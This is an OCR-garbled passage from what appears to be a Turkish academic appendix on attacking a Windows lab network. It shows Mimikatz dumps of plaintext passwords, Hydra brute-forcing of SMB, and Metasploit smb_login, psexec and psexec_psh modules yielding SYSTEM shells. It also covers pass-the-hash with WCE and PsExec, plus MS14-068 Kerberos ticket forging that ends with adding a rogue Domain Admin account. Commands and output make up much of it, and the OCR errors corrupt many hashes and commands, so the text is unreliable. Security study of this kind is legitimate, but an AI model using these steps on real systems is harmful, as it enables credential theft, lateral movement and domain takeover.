8-1-5-21-3687518117-72288V369-3280037823 10803

wdigest =

* Username = burak

* Domain : Sehir—PC

#* Password : Karubhl9s=

@ ; 1841656 {APOAPEE0:BR1c19£8>
Interactive from 1
kerem
Sehir-PC
§-1-5-21-3687518117-722887369-3280639823-1662
wdigest =
* Username =
* Domain H
* Password =

Session
Uzer Mame
Domain Sehir-PC
51D : 8-1-5-21-3687518117-722887369-3280A39823-180A1
wdigest =
* Uzername mes|
* Domain Sehir—PC
#* Password Test123

Authentication Id : 5 797 (H00PHA0H : BBBA3eS5 >
Session Service from
Uzer Mame LOCAL SERUVICE
Domain NT AUTHORITY
SID 8-1-5-19
wdigest =

* Uzername Cnull>

* Domain : {null>

#* Password Cnull>
Authentication Id : B ; 996 (HRAPPEEA:ARRBEA3e4>
Session Service from
Uzer Mame
Domain
51D
wdigest =
#* Username :| SEHIR-PCS
* Domain WORKGROUP
#* Password Cnull>

Authentication Id 5 41137 (APPRBEEA : BEEARaBhl »
Session Undef inedLogonType from B
Uzer Mame Cnull>

Domain <null>

S 1D

SEKIL D.11: Dump Dosyasinin Mimikatz Aracina Verilmesi Sonucu 2
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E.1 Hydra Modiilii Kullanilarak Kaba Kuvvet Yontemi ile

Kullanic1 ve Parola Bilgilerini Elde Etme

TCP/145. Portu agik olan ve 192.168.200.134 IP’ye sahip Windows igletim sistemli bir
bilgisayar ‘hydra’ araci hesap bilgileri bulunan kullaniclar tespit edilecektir. Sekil E.1
iizerinde goriildiigli gibi 6rnek users dosyasinda kullanici adlar1 mevcuttur. Bu dosya

root/Desktop altinda bulunmaktadir.

Dosya Diizenle Ara Secenekler Yardim
mesut

mehmet

alli

serap N
eda '
galip
burak
kerem

SEKIL E.1: Kullanic1 Listesi

128
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Sekil E.2 {izerinde goriildiigii gibi icinde tahmin edilen ve elde edilen parolalarin bulun-

dugu 6rnek pass dosyasida root/Desktop altindadir.

pass

Dosya

Test123
Testl234
Test123456
12345*frt
Karubl9*
Merek19*
Asdf098
Edrfswe
12345

Dizenle Ara Secenekler Yardim

SEKIL E.2: Parola Listesi

Bu bilgiler ‘hydra -L users -P pass 192.168.200.134 smbnt’ komutu ile hydra aracina veri-
lecektir. Sekil E.3 tizerinde goriildigi gibi mesut, burak, kerem kullanicilar1 ve parolalar

elde edildi.

Dosya Dizenle Gérinim Ara Uchirim  Yardim

SEKIL E.3: Hydra Caligtirildiktan Sonra Elde Edilen Kullanicilar ve Parolalar

Bu y6nteme benzer yontemler ‘Medusa’ gibi araclar ile yapilabilir.
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E.2 SMB login Modiilii Kullanilarak Kaba Kuvvet Yon-

temi ile Parola ve Parola Ozeti Elde Etme

445. portu acik olan bilgisayarlarin sekil E.4 iizerinde goriildiigii gibi IP listesi agagidaki
gibi elde edildigi varsayilmigtir. Varsayilan bu IP listesi iplist adinda root/Desktop klaso-
riinlin altinda bulunmaktadir. [P’leri barindiran liste ‘Metasploit’ aracinin ‘Smb_ login’

modiiliinde ‘RHOSTS file:” segeneginde kullanilir.

iplist
Dosya Dizenle Ara Secenekler Yardim
192.168.200.132
192.168.200. 133
192.168.200.134
192.168.200.139
192.168.200. 142
192.168.200. 154
192.168.200. 164
192.168.200.173
192.168.200. 182

SeKIL E.4: SMB Loginde Kullanilacak IP Listesi

Sekil E.5 {izerinde goriildiigii gibi kullanicilara ait erigim bilgileri elde edildigi veya tah-
min edildigi varsayilarak, kullanici bilgilerini igeren bir dosya olusturulmugtur. Bu dosya
kullanici ad1 ve parola ozetlerini icerecek sekilde passlist adinda igletim sisteminin ro-
ot/Desktop klasoriiniin altina eklenmigtir. Bu dosya ‘Metasploit’ aracinin ‘Smb_ login’

modiiliinde ‘USERPASS FILE’ seceneginde kullanilir.

passlist

Dosya Dlzenle Ara Secenekler Yardim

Administrator 624aac413795cdc1ff17365faflffe89:b9elcfceaf6dd77970306a2fd88a7cha
Guest aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0c089cO
HelpAssistant ad237a814a274b888fh9d1lc8ee578ble:a79b78874202370dcf15f7cdBe50a7ab
SUPPORT_388945a0 aad3b435b51404eeaad3b435b51404ee:61c500f4cbaeefdl507a613c691e6ac9
Guest aad3b435b51404eeaad3b435b51404ee:31d6c fedd16ae931b73c59d7e0c089cH

kerem aad3b435b51404eeaad3b435b51404ee:e735dbd188563c0429f3275eb6205551

Sehir aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84bade

Sizma aad3b435b51404eeaad3b435b51404ee:03119312e491c990a3143a5a5b4f89da

XXX aad3b435b51404eeaad3b435b51404ee:3b1da22b1973c0bb86d4a9b6a%aebs5f6
Administrator aad3b435b51404eeaad3b435b51404ee:31d6cfefd16ae931b73c59d7e0c089cO
burak aad3b435b51404eeaad3b435b51404ee:93dd94423880T0d48a0c99a911641%e6

Guest aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0c089cO

kerem aad3b435b51404eeaad3b435b51404ee:8f416607a495d280e5¢357b%aa676379

mesut aad3b435b51404eeaad3b435b51404ee:3b1da22b1973cObb86d4a9b6a%aebsf6

Sehir aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84bade

SEKIL E.5: SMB Loginde Kullanilacak Kimlik Bilgileri
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Sekil E.6 lizerinde goriildiigii gibi kullanicilara ait kimlik bilgileri elde edildigi veya tah-
min edildigi varsayilmigtir. Bu bilgiler i¢inde kullanici adi listesi bulunan bir dosya haline
geitirilip users adinda root/Desktop klasoriiniin altina eklenmigtir. Bu dosya ‘Metasploit’

aracinin ‘smb_login’ modiiliinde ‘USER _FILE’ seceneginde kullanilir.

users - u

Dosya Dizenle Ara Segenekler Yardim

|mesut
Imehmet
ali
serap|
eda
galip
burak
kerem
Fatih
Gonca
sabit
selami
Suna

SEKIL E.6: SMB Loginde Kullanilacak Kullanicilar Listesi

Sekil E.7 iizerinde goriildiigi gibi kullanicilara ait kimlik bilgilerinden parola 6zetleri
passs adinda root/Desktop klasoriiniin altina eklenmistir. Bu dosya ‘Metasplit’ aracinin

‘smb_login’ modiiliinde ‘PASS FILE’ segeneginde kullanilir.

Dosya Dizenle Ara Secenekler Yardim

b24aac413795cdc1ff17365faflffeB89:
aad3b435b51404eeaad3b435b51404ee:
ad237a814a274b888Th9d1c8ee578ble:
aad3b435b51404eeaad3b435b51404ee:
aad3b435b51404eeaad3b435b51404ee
aad3b435b51404eeaad3b435b51404ee:
aad3b435b51404eeaad3b435b51404ee:
aad3b435b51404eeaad3b435b51404ee:
aad3b435b51404eeaad3b435b51404ee:
aad3b435b51404eeaad3b435b51404ee:
aad3b435b51404eeaad3b435b51404ee:
aad3b435b51404eeaad3b435b51404ee
aad3b435b51404eeaad3b435b51404ee:
aad3b435b51404eeaad3b435b51404ee:
aad3b435b51404eeaad3b435b51404ee:

passs

h9e0c fceaf6d077970306a2fd88a7cla
31ld6cfe@dl6ae931b73c59d7e0c089¢c0
a79b78874202370dc f15f7cd@e50a7ab
61c500f4cb6aeefdl507a613c691ebac9

:31d6c feOd16ae931b73c59d7e0c089¢c0

e735dbd188563c0429f3275eb6205551
47bf8039a8506cd67¢524a03ff84bade
03119312e491c990a3143a5a5b489da
3b1lda22b1973c0bb86d4a9h6a9ae656
31d6cfe0d16ae931b73c59d7e0c089cO
93dd94423880f0d48a0c99a91164 196

:31d6cfe0d16ae931b73c59d7e0c089cO

814166072a495d280e5c357b92aab76379
3blda22b1973cBbb86d4a9b6a9ae65 6
47bf8039a8506cd67¢524a03ff84bade

SEKIL E.7: SMB Loginde Kullanilacak Parola Ozetleri Listesi

Bu bilgileri kullanmak icin ‘Metasploit’ caligtirildiktan sonra ‘search smb login’ ko-
mutu verilir. Arama sonucundan sonra ‘use auxiliary/scanner/smb/smb_login’ komutu

ile ‘smb_login’ modiiliine girilir. Yapilan iglemler gekil E.8 iizerinde gosterilmistir.
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he not built, using search

SMB Login CF Scanner

SEKIL E.8: Smb_login Search Edilmesi

‘SMB _login’ i¢in yapilmasi gereken ayarlar sekil E.9 iizerinde goriildiigii gibi ‘show op-

tions’ komutu kullanilir.

true

fal

SEKIL E.9: SMB_login Ayar Secenekleri

Daha &nceden elde edilen kullanici bilgilerini, SMB _login ile bircok yontem kullanilarak
IP ve kullanici eglegtirilmesi yapilabilir. Uygulanacak bu yontem de kullanicilara ait kim-
lik bilgileri ve parola 6zetleri bulunan passs dosyasi ile bilgisayarlarin IP’lerini barindiran
iplist dosyasi kullanilacaktir. Modiiliin ‘show options’ komutu ile goriildiigii iizere kullani-
lacak seceneklerden birisi ‘USERPASS FILE’ secenegidir. Bu secenege verilmesi gereken
dosya kullanici adlar: ve parola veya parola 6zetlerini barindiran dosya olmalidir. Burada
kullanilmas1 gereken dosya passlist adindaki dosyadir. ‘set USERPASS FILE /root/-
Desktop /passlist’ komutu ile dosya set edilir. Diger kullamlacak segenek ise ‘RHOSTS’
secenegidir. Yani hedef bilgisayar veya bilgisayarlarin IP adreslerinin verilecegi segenek-

tir. Eger bu secenege dosya verilecekse 6n eki olan ‘file:’ 6zelligi kullanilir. ‘set RHOSTS
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file: /root /Desktop /iplist’ komutu ile bu se¢enek ayarlanilir. ‘Run’ veya ‘exploit’ komutu

verilerek caligtirilir. Yapilan iglem gekil E.10 tizerinde gosterilmigtir.

SEKIL E.10: SMB Loginin Exploit Edilmesi

Sonug olarak gekil E.11 iizerinde goriildiigii gibi 134 ile biten IP’den kerem, burak ve

mesut kullanicilarinin login olduklar goriilmektedir.

SEKIL E.11: Login Olan Kullanicilar

Cok biiylik aglarda daha ¢ok ve karmagik sonug geleceginden bu karmagikligi en aza
indirmek icin gekil E.12 {izerinde goriildiigii gibi verbose 6zelligini false yapilarak iglemler

gerceklestirilir.
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SEKIL E.12: Verbose Ozelliginin False Yapilmas: Sonucu

E.3 Smb Enumusers Domain Modiilii ile Windows Bilgi-

sayarlarda Jetonu Bulunan Hesaplarin Tespit Edilmesi

445. portu agik olan kurum igi bilgisayarlarin IP listesi gekil E.13 iizerinde goriildiigii gibi
elde edildigi varsayilmigtir. Bu IP listesi iplist adinda root/Desktop klasoriiniin altina
eklenmigtir.

=sktop# cat iplist

SEKIL E.13: Smb_Enumusers_Domain Kullanilacak TP Listesi

‘Metasploit’ aracinda iken ‘search smb enumusers domain’ komutu ile modiilii bulmak
i¢in arama gergeklestirilir. Modiile girmek i¢in ‘use auxiliary /scanner/smb/smb
_enumusers__domain’ komutu verilir. Ayarlar: kontrol etmek i¢in ‘show options’ komutu

kullanilir. Yapilan iglemler gekil E.14 {izerinde gosterilmigtir.
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b enumusers domain normal SMB Doma

SEKIL E.14: Smb Enumusers Domain Search Edilmesi

Bu modiil yerel ve etki alan1 kullanicilarinin parola ve parola 6zetini alabilmektedir. Etki
alan1 kullanicilarina yonelik iglem yapilacaksa ‘SMBDomain’ segenegine domain adi gi-
rilir. Yerel yonetici hakkina sahip bir yerel kullanici hesab: ile ayni ag icinde domain
hesabinin caligan prosesi olup olmadig: tespit edilebilir. Bunun icin yerel yonetici yet-
kisine sahip olan mesut kullanicisi ve bu kullanicinin acik parolasi ‘Test123’ olup ve
bu haklara sahip oldugu bilgisayarin IP’si ise 192.168.200.139 ve 192.168.200.138’dir.
Ayarlar kismini1 gérmek igin ‘Show options’ komutu caligtirilir. Burada ‘set RHOSTS
file: /root/ Desktop/iplistl’ komutu ile iplist dosyas: set edilir. Kullanici ‘set SMBUser
mesut’ ve parolasi ‘set SMBPass Test123’ set edilir (eger parola ozeti kullanilacaksa
parola yerine parola 6zeti verilir). ‘show options’ komutu ile yapilan ayarlarin son hali
kontol edilir. Eger iglem etki alaninda bir bilgisayar icin yapilacaksa ‘set SMBDomain

<etki alan1 adi> ’ komutu verilebilir. Yapilan iglemler gekil E.15 iizerinde gdsterilmigtir.
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RHUST Tile: ) op/iplistl

SMBPA

no_enumu

SEKIL E.15: Smb_Enumusers Domain Ayarlarmin Yapilmas:

Modiilii cahigtirmak icin run veya exploit komutu verilir. Jekil E.16 {izerinde goriildiigii
gibi 192.168.200.139’da mesut, murat ve XXX yerel kullanicilarinin prosesi mevcuttur.
192.168.200.138 IP’sine bakildiginda ise kerem ve mesut kullanicilarinin prosesi oldugu
goriilmektedir.

= run

SEKIL E.16: Smb_Enumusers Domain Exploit Edilmesi

E.4 MSF Psexec Istismar Modiilii ile Meterpreter Baglan-
tis1 Elde Etme

Saldir1 i¢in ‘MSFconsol’a girilir. Modiiliin tamamini gérmek igin ‘search psexec plat-
form:windows type:exploit’ komutu ile arama yapilir. Arama sonucunda ‘use exploit-
/windows/smb /psexec’ komutu ile ‘psexec’ istismar modiiliine girilir. Ayarlar1 gérmek

i¢in ‘show options’ komutu verilir. Yapilan iglemler gekil E.17 iizerinde gosterilmigtir.
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oit
using slow search

manual
manual

ADMING

SEKIL E.17: Psexec Modiiliiniin Search Edilmesi ve Ayar Segenekleri

Yapilmasi gereken ayarlar kontrol edildikten sonra bu ayarlar dogrultusunda iglem yapilir.
Oncelikle goriildiigii iizere ayarlara kullanici bilgilerinin girilmesi gerekir. ‘set RHOST
192.168.200.136° komutu ile hedef bilgisayarin IP’si verilir. ‘set SMBUser mesut’ komutu
ile kullanic1 ad1 verilir. ‘set SMBPass Test123’ (Aym gekilde parola 6zeti verilerek iglem
yapilabilir.) komutu ile kullanicinin parolas: verilir. Eger domainde iglem yapilacaksa ‘set
SMBDomain <domain adi>" komutu kullanilir. Yapilan ayarlarin kontrol edilmesi igin

‘show options’ komutu verilir. Yapilan iglemlerin sonucu sekil E.18 iizerinde gosterilmistir.

Name

be used

SEKIL E.18: Psexec Modiil Ayarlarinin Yapilmas: ve Kontrol Edilmesi
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Sekil E.19 {izerinde goriildiigii gibi caligtirmak icin ‘run’ veya ‘exploit’ komutlar1 kulla-

nilir.

SEKIL E.19: Psexec Modiiliiniin Exploit Edilmesi

Hangi yetkide ve PID ile calisildigini gérmek icin ‘getuid’ ve ‘getpid’ komutlar: kullanilir.
Sonra ise hangi proseste caligildigini gérmek i¢in ‘ps -8’ komutu ile prosesler listelenir.
Sekil E.20 tizerinde goriildiigii gibi ‘SYSTEM’ yetkilerinde ve 32 bitlik ‘rundll32.exe’

prosesinde olugmustur.

PID PPID

2968 2576  rund|8

[a]

SEKIL E.20: Psexec Modiiliiniin Caligtigr Proses

Bu yonteme benzer yontemler ‘Linux pth-winexe’ gibi araclar ile yapilabilir.
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E.5 Psexec Psh Istismar Modiilii ile Meterpreter Baglan-
tis1 Elde Etme

Saldir1 i¢in ‘MSFconsol’a girilir. Modiiliin tamamini elde etmek igin ‘search psexec plat-
form:windows’ komutu ile arama yapilir. Arama sonucunda ‘use exploit/windows/smb-
/psexec_ psh’ komutu ile ‘psexec’ istismar modiiliine girilir. Yapilmas: gereken ayarlar

gormek icin gekil E.21 {izerinde goriildiigii gibi ‘show options’ komutu verilir.

Name Jisclosure Date ank Description

manual

SEKIL E.21: Psexec_ Psh Modiiliiniin Search Edilmesi ve Ayar Secenekleri

Ayarlart yapmak i¢in set komutu kullanilir. ‘set RHOST 192.168.200.138” komutu ile he-
def bilgisayarin IP’si verilir. ‘set SMBUser mesut’ komutu ile kullanici adi verilir. ‘set
SMBPass Test123’ (Ayni sekilde parola 6zeti verilerek iglem yapilabilir.) komutu ile pa-
rolas: verilir. Eger domainde iglem yapilacaksa ‘set SMBDomain <domain adi>’ komutu
kullanilir. Yapilan ayarlarin son durumunu gérmek igin gekil E.22 {izerinde goriildiigii

gibi ‘show options’ komutu verilir.
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et RHOST 192

SMBUSE

SEKIL E.22: Psexec Psh Modiil Ayarlarinin Yapilmas: ve Kontrol Edilmesi

Caligtirmak igin ‘run’ veya ‘exploit’ komutu kullanilir. Hangi yetkide ve PID ile caligil-
digin1 gormek igin ‘getuid’ ve ‘getpid’ komutlar1 verilir. Yapilan iglemlerin sonucu sekil

E.23 iizerinde gosterilmigtir.

SEKIL E.23: Psexec_ Psh Modiiliiniin Exploit Edilmesi

Hangi proseste caligildigini gérmek icin ‘ps -s’ komutu verilir. Sekil E.24 iizerinde goriil-

diigii gibi ‘SYSTEM’ yetkilerinde ve yeni ‘powershell’ prosesi olugmustur.
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SEKIL E.24: Psexec Psh Modiiliiniin Caligtig1 Proses

E.6 Yonetici Parola Ozetini WCE Aracina Vererek Uzak

Bilgisayarin Komut Satirina Erisim Saglanmasi

Kaynak bilgisayarda Windows komut satir1 caligtirihir. Uzaktan ‘cmd’ satirina erigim
saglayabilmek icin o bilgisayarda yonetici yetkilerine sahip bir kullanici ile iglem yapilir.
Bu durumu sgekil E.25 iizerinde iglem yapilan kullanici olmasi saglanir. Kullanici hedef
bilgisayarda da ayni kimlik bilgilerinde taniml olmas: gerekmektedir. Sekil E.25 {izerinde
goriildiigii gibi uzaktan ‘cmd’ komut satirina erigilebilmektedir.

CisllzenssmesutsDesktoprwhoami
pelsmesut

smesutsDesktoprhostname

C:wUserssmesut Desktop>PsExec.exe |~192.168.200.143 cmd —accepteula

PzExec v2.A — Execute proces emotely
Copyright (C> 2881-2813 Hark inovich
Sysinternals — www.sysinternals.com

Microsoft Windows [Version 6.1.76811
Copyright {(c> 288? Microsoft Corporation. All rights reserved.

stemnd2 rwhoamni
t

C:sMindowsssysten3d2 *hostname
Sehir—PC

IC: Windows stem32>_

SEKIL E.25: Psexec.exe’de Ayni Kullanici ile Hedef PC CMD’de Oturum A¢ma

Tekrardan Windows komut satir1 ¢aligtirihir. Uzaktan ‘cmd’ satirina erigim saglayabilmek
i¢in hedef bilgisayarinda yonetici yetkilerine sahip kullanici bilgileri gerekmektedir. Sekil

E.26 iizerinde goriildiigii gibi eger yetkili hesap olmazsa erigim yetki hatas: alinir.
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C:“UszerssXii DezsktopiPzExec .exe “~192_.168.200.143 cmd —accepteula

[PzExec v2.H — Execute processes 1emntely
iCopyright (C» 2881-26813 Mark Ru ovich
Syzinternals — www.sysinternals._com

Couldn’t acc 192.168.200.143:
Access is denied.

C:Users~KiRi~Desktop>_

SEKIL E.26: Erigim Yetkisi Hatast

192.168.200.142 IP’ye sahip olan bilgisayarin yetkili kullanicist mesut ve burak kullanici-
sinin parola Ozeti
‘aad3b435b51404eeaad3b435b51404ee:3b1da22b1973c0bb86d4a9b6a9ae65f6’ seklinde olup
bu bilgi WCE aracinda hedef sistemin komut satirina erigim i¢in kullanilacaktir. Sekil
E.27 {izerinde goriildiigii gibi RAM iizerinde burak adli hesabin parolasinin agik hali ve

0zet hali bulunmaktadir.

aksDesktop™AraclarsWCENwce wl _4d4Zbeta x32:
{Windows Credentials Ed Tord - {c? 2010 av;a ﬂmPlla Security - by

CisUser k

WEE wil.

n x F {hernan@amPllasecurltH om¥
<

s>»bur
4Zbeta
Ochoa
for he
HIR-

hurak:SE 1:954340469132A1CFI90004151ADPATE43E8 93D 94423880F0D4BA0CCIIAD1164F9E

iaUsershburakybeskiopiAraclariWCENuge vl 42beta x3Zrwce —u ) )
¢E vi.dZ2beta (Windows Credentials Editory c¥ 21855 “implia Security - by
rnapn’Ochod (hernan@ampliasecurily.com)

h for he

‘WCE’ aracinda ‘-s’ secenegi ile ‘wce -s’ komutunu kullanarak RAM iizerinde bulu-
nan oturumun NTLM kimlik bilgileri degistirilecektir. Bu komut ile birlikte ‘WORKG-
ROUP:mesut:
aad3b435b51404eeaad3b435b51404ee:3b1da22b1973c0bb86d4a9b6a9ae65f6’ mesut kulla-
nicisini ve parola 6zeti de verilmesi gerekir. Sonra son durumu goérmek igin sekil E.28
iizerinde goriildiigii gibi * wce -1’ komutu ile ram iizerindeki parola 6zetini ve ‘wce -w’ ile
parola okunacaktir.

CixUser S\hurak\DesktuE\ﬁraDlar\UCE\ vl 4Zbeta =x32>w -5 WORKGROUP imesut:aad3d
h435h51404eeaad3h435h 1404ee 3blda22h1§73c0bh36 Ia9h6a9ae65fﬁ

WoL WAL, HANELA  AWLHOUWS LIEUElLials EUILOL 7 = G/ GUiv- avis AMPLIIA SeCUricyg = 09
Hernan Ochoa (hernan@ampllasecurltg com)

Use -h for help

Chang ing NTLM credentials of current logon session (9Q091BB63h) to:
Username ! RKGROUP
3h435bh51404eeaad3b435b51404ee
bldaz22bl973c0bbi86d4a%h6aPaectnf 6
M credentials successfully changed?

Users\hurak\besktup\ﬁranlar\UCE\uce vl 42heta %32l woce -1

wl, eta (Windows Credentials itor¥ {c) 2010 Zwis fAmplia Security - by
nan Dchna (hernan@ampllasecurltg com
e —-h for help

REKGROUP :mesut i AADIB435B51404EEAAD3IB435B51404EE: 3B1DAZ2EB1973COBEE6D4AA9B6APAESSF

sers\hurak\besktup\ﬁraclar\UCE\uce vl 42heta x32)uce —w
wl, eta (Windows Credentials itor¥ - QL= IS nmplia Security - by
rnaP gchn? (hernan@ampllasecurltg com
h for help

HE
I

L

-
|/
i
[z
# =T

k
R

PC1 (Karub19x
ORK &R
~

I <
& R
iSUsersihburakiIesktop™hAraclarsWCENwce_wl_42Zbeta_x32>_

SEKIL E.28: Mevcut Kullanicinin Ram Uzerinde Parola 6zetinin Degigtirilmesi
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Parola o6zeti degistirildikten sonra
‘net use \\192.168.200.143/C$ /USER : WORKGROU P\mesut’ komutu ‘C’ dizinine

ulagmak icin caligtirilir ve ‘net use’ komutu ile kontrol edilir.

192.168.200.143%c% AUSER:WORKGROUP“mesut
=

o \Users\burak\DesktD )net use
Hew connections will rememoered .

192.168, 200 143%c ¥ Microsoft Windows Hetwork
The command completed successEull

CisUsershburak»Desktopr_

SEKIL E.29: Hedef Bilgisayarin Yonetimsel Paylagimina Ulagilmasi

Islem yapilan kullanici ‘whoami’ komutu ile kontrol edildikten sonra ‘hostname’ ko-
mutu ile iglem yapilan bilgisayarin adina bakilir. Bu iglemler sonucunda ‘PsExec.exe
\\172.16.67.202 cmd -accepteula’ komutu ile hedef bilgisayarmm ‘cmd’ komutuna ulagildig:
goriiliir. Sonucu kontrol etmek icin ‘whoami’ ve ‘hostname’ komutlar: tekrar kullanilir.

Yapilan iglemler sonucu gekil E.30 {izerinde gosterilmigtir.

C: \Users\burak\DesktDP)whuam1
sehir-pclsburak

C: \Users\burak\DesktDP)hustname

Sehir-FC

CisUserssburak™Desktopl PsExec.exe “N192.168.200.143 cmd accepteula
PSEXEG vz xecute rocesses remotel

DPHr)ght (C) 2001 291 Mark Russlnuulcl
Fgsinternals - www.sysintermals.co

Microsoft ulnduws [Version 6.1.76011
Copyright (c) 20869 Microsoft Corporation. All rights reserved.

C: \Ul“duws\system32)whuaml
sehir-pcsmesut

C: \Ulnduws\SysteMBZ)hustnamE
Sehir-

CisWindowshsystem3IZ2>

SEKIL E.30: Hedef Bilgisayarin Cmd Komut Satirina Ulagilmasi
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Pass the Ticket

F.1 MS14-068 Kerberos Giivenlik Zafiyetinin Istismar1

Sekil F.1 iizerinde goriildiigii gibi dnce kullanici yetkileri kontrol edilir. Domain Users

yetkilerinde olan cem.sari etki alani kullanicisi Domain Admins yetkilerine gececektir.

C:Users~cem.sari.KEMALTEZnet user cem.sari <domain
The request will be processed at a domaln controller tor domain kemaltez.net.

lUser name cem.sari
Cem Sari

llser’'s comment

[Country code BE@ (System Default)
ficcount active Yes

fccount expired Hever

last set #1.681.26816 13
expires Hever
changeable B2.81.26816 13
required Yes

change password Yes

All
Home directory
Last logon 2816 17
Logon hours allowed All

Local Group Memberships
Global Group memberships *Domain Users
The command completed succesziaiiws

C:~Usersscem.sari.KEMALTEZ>

SEKIL F.1: Domain Kullanicisi Grubunun Kontrolii

Etki alam1 denetleycisi (DC) adinmin ¢oziimlenmesi i¢in Kali igletim sisteminde iken ko-
mutu satirindan ‘echo nameserver 192.168.200.100 » /etc/resolv.conf’ etki alani denet-
leycisi (DC) DNS IP degeri verilir. Kontrol etmek i¢in gekil F.2 izerinde goriildiigi gibi

‘cat /etc/resolv.conf’ komutu ile bakilir.

144
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SEKIL F.2: Nameserver Ayarlama

Bu islemden sonra ‘MSFconsole’ modiilii olan ‘ms14 (068 kerberos checksum’ kullani-
lacaktir. Modiile girmek i¢in ‘use auxiliary /admin/kerberos/ msl4 068 kerberos
_ checksum’ komutu verilir. Modiil ayarlarim kontrol etmek igin gekil F.3 iizerinde goriil-

diigii gibi ‘Show options’ komutu girilir.

: DEMO.LOCAL

n and re

SEKIL F.3: Msl4 068 Kerberos Checksum Modiilii ve Ayar Kontroli

Modiil ayarlarindan gorildigi iizere domain kullanicisimin SID’i gerekecektir. Sekil F.4

tizerinde goriildiigii gibi SID alinmas i¢in ‘whoami /user’ komutu verilir.

C:\Usersscem.sari.  KEMALTEZ whoami Auser

USER IMFORMATION

§ 1 6 21 527445735 3769240244 1355916466 1160

SEKIL F.4: Kullanici SID Degerinin Kontrolii

Gerekli ayarlar yapildiktan sonra gekil F.5 {izerinde goriildiigii gibi komut verilir.

msf auxiliary|

options |

SEkIL F.5: Ms14 068 Kerberos Checksum Modiilii Yapilan Ayar Kontroli
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Servis biletine ait dosyanin olugmasi igin sekil F.6 iizerinde goriildiigii gibi ‘run’ komutu

verilir. Daha sonra bu dosya ele gegirilen domain kullanicisinda kullanilacaktir.

= run

SEKIL F.6: Msl4 068 Kerberos Checksum Modiiliiniin Qaligtirilmas: ve Ticket Dos-
yasmin Olugumu

Yeni bilet yiliklemek igin ele gecirilmig kullanicimin eski biletleri silinecektir. Jekil F.6
iizerinde olugturulan yeni bilet yiikleneceginden dolay: eskisi ile karigmamas: gerekir. Bu
yizden ‘klist’ komutu ile biletler listelenir. Sonra ‘klist purge’ komutu ile silinir. Kontrol
icin yine ‘klist” komutu kullanilir. Yapilan iglem sonucu gekil F.7 {izerinde verilmigtir.

C:\lUsers'cem.zsari.KEMALTEZ>klist
[Current Logonld i= B:8x57h88
Cached Tickets:| ¢(5>

A Client: cga.sari @ KEMALTEZ .NET
Server: krbtgt-KEMALTEZ.NET @ KEMALTEZ.NET
KerbTicket Encryption Type: AES-256—CTS—HMAC-SHAL-96
Ticket Flags Bx68aBB888 —> forwardable forwarded renewable pre_authent
Start Time: 1112816 17 47:86 (local>
End Time:
Renew Time: 1-18-2016 17 47:085 (local)
Session Key Type: AES-256—CTS—HMAC-SHAL-?6

Client: cem.sari @ KEMALTEZ_NET

Server: krbtgt-KEMALTEZ.NET @ KEMALTEZ.NET

KerbTicket Encryption Type: AES-256—CTS—HMAC-SHAL-96

Ticket Flagg Bx48eB@@BA —> forwardable renewable initial pre_authent
Start Time: 1112816 17:47:85 (locall

End Time: 1-12-2016 3:47:85 {(local’

Renew Time: 1182816 17 @5 (local>

Session Key Type: RES—ZSG—CTS—HHHC SHAL—?6

Client: cem.sari @ KEMALTEZ_NET

Server: cifs~SERVERL.kemaltez.net B KEMALTEZ.HNET

KerbTicket cryption Type: AES-256-—CTS-HMAC-SHAL1-96

Ticket Flags Bx48a48888 —> forwardable renewable pre_authent ok_as_deleg|

Start Time: 1-11-2816 17:47:86 {local>

End Time: H

Renew Time: 1-18-2816 17:47:85 (local)
Sesszion Key Type: AES-256—CTS—HMAC-SHAL-96

IC:“Uzersscem_sari KEMALTEZ>klist purge
[Current Logonld i= B:8x57hO8
Deleting all tickets:
Ticket{s?» purged?
C:Usersicemn.sari. KEMALTEZ>klist
[Current Logonld i= B:8x57hO8

[Cached Tickets:| (@)

IC:“\Uzersscemn.zari KEMALTEZ>_

SEKIL F.7: Kullaniciya Ait Eski Biletlerin Silinmesi

Bu islemde olugturulan bilet ‘Mimikatz’ araci ile ‘cem.sari’ kullanicisina aktarilacaktir.
Bunun igin ‘kerberos::ptc <Bilet dosyasi>’ komutu kullanilir. Ardindan yeni bileti gor-

mek icin ‘klist’ komutu verilir. Sekilde F.8 iizerinde goriildiigii gibi biletin olugturuldugu
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tarihte biletin baglama siiresi baglamig ve 10 saat siirecek olan bitig tarihi yazilidir. Aym
sekilde yiiklemeden sonrada bu tarihler gegerlidir.

mimikatz # kerberos::iptc ZW1bM111215WZ4 default _1YZ.164.2WHM.1HWH_windows .kerberos)
238988 _bin

Principal = (B1) : cem.sari ; B KEMALTEZ_NET

Data B

Start/End/MaxRenew: 11.81.2016 |21:560:56|; 12.81.2016 | B7:58:56|; 18.61
-2816 21:58:56

Service Mame (81> : krbtgt ; KEMALIEZ.NET ; @ KEMALTEZ.NET

Target Name (81> : krbtgt ; KEMELTEZ.NET ; B KEMALFEZL. NET

Client Mame <B1) : cem.sari ; B KEMALTEZ.NET

Flags BPBBBBRA

Session Key : BxPAAEBEBA17 /- rc4_hmac_nt

d5e6B88cc2aBaB230%ehfF35F2454127
Ticket : BxBEEBBREE — null

* Injecting ticket : OK

z # exit

IC:“AraclarsMimikat="Win32>klist
Current Logonld iz B:Bx1d54b
iCached Tickets: <12

e i cem.sari B KEMALTEZ._NET
krbtgt /KEMALTEZ .NET @ KEMALIEZ.NET

Ker et Encryption Thyye:-READSL/RC4-HMACCNT>
Ticket Flags 8 —>

Start Time: 1-/11/2@16[21:58:56] €igrald

End Time: 1-12/2016) 7:58:56 {Ldcald

Renew Time: 1182816 21:58:56 (local)

Session Key Type: RSADSI RC4-HMACKNI>

SEKIL F.8: Kullaniciya Yeni Biletin Eklenmesi ve Kontrolii

Bu durumda Domain Users yetkilerinde olan cem.sari yeni bileti ile Domain Admins
yetkilerine yiikselmigtir. Yetkisi yiikseltilmis kullanici ile bir takim iglemler gerceklegtiri-
lecektir. Domaindeki kullanicilar: kontrol etmek icin ‘net user /domain’ komutu verilir.
Domain’e PENTEST adinda ve ‘Pen12345’ parolasinda yeni bir kullanici eklemek igin
‘net user PENTEST Pen12345 /add /domain’ komutu verilir. Bu kullaniciy1 Domain
Admins grubuna eklemek igin ‘net group "Domain Admins" PENTEST /add /domain’
komutu verilir. Sonucu kontrol etmek i¢in ‘net group "Domain Admins" /domain’ ko-
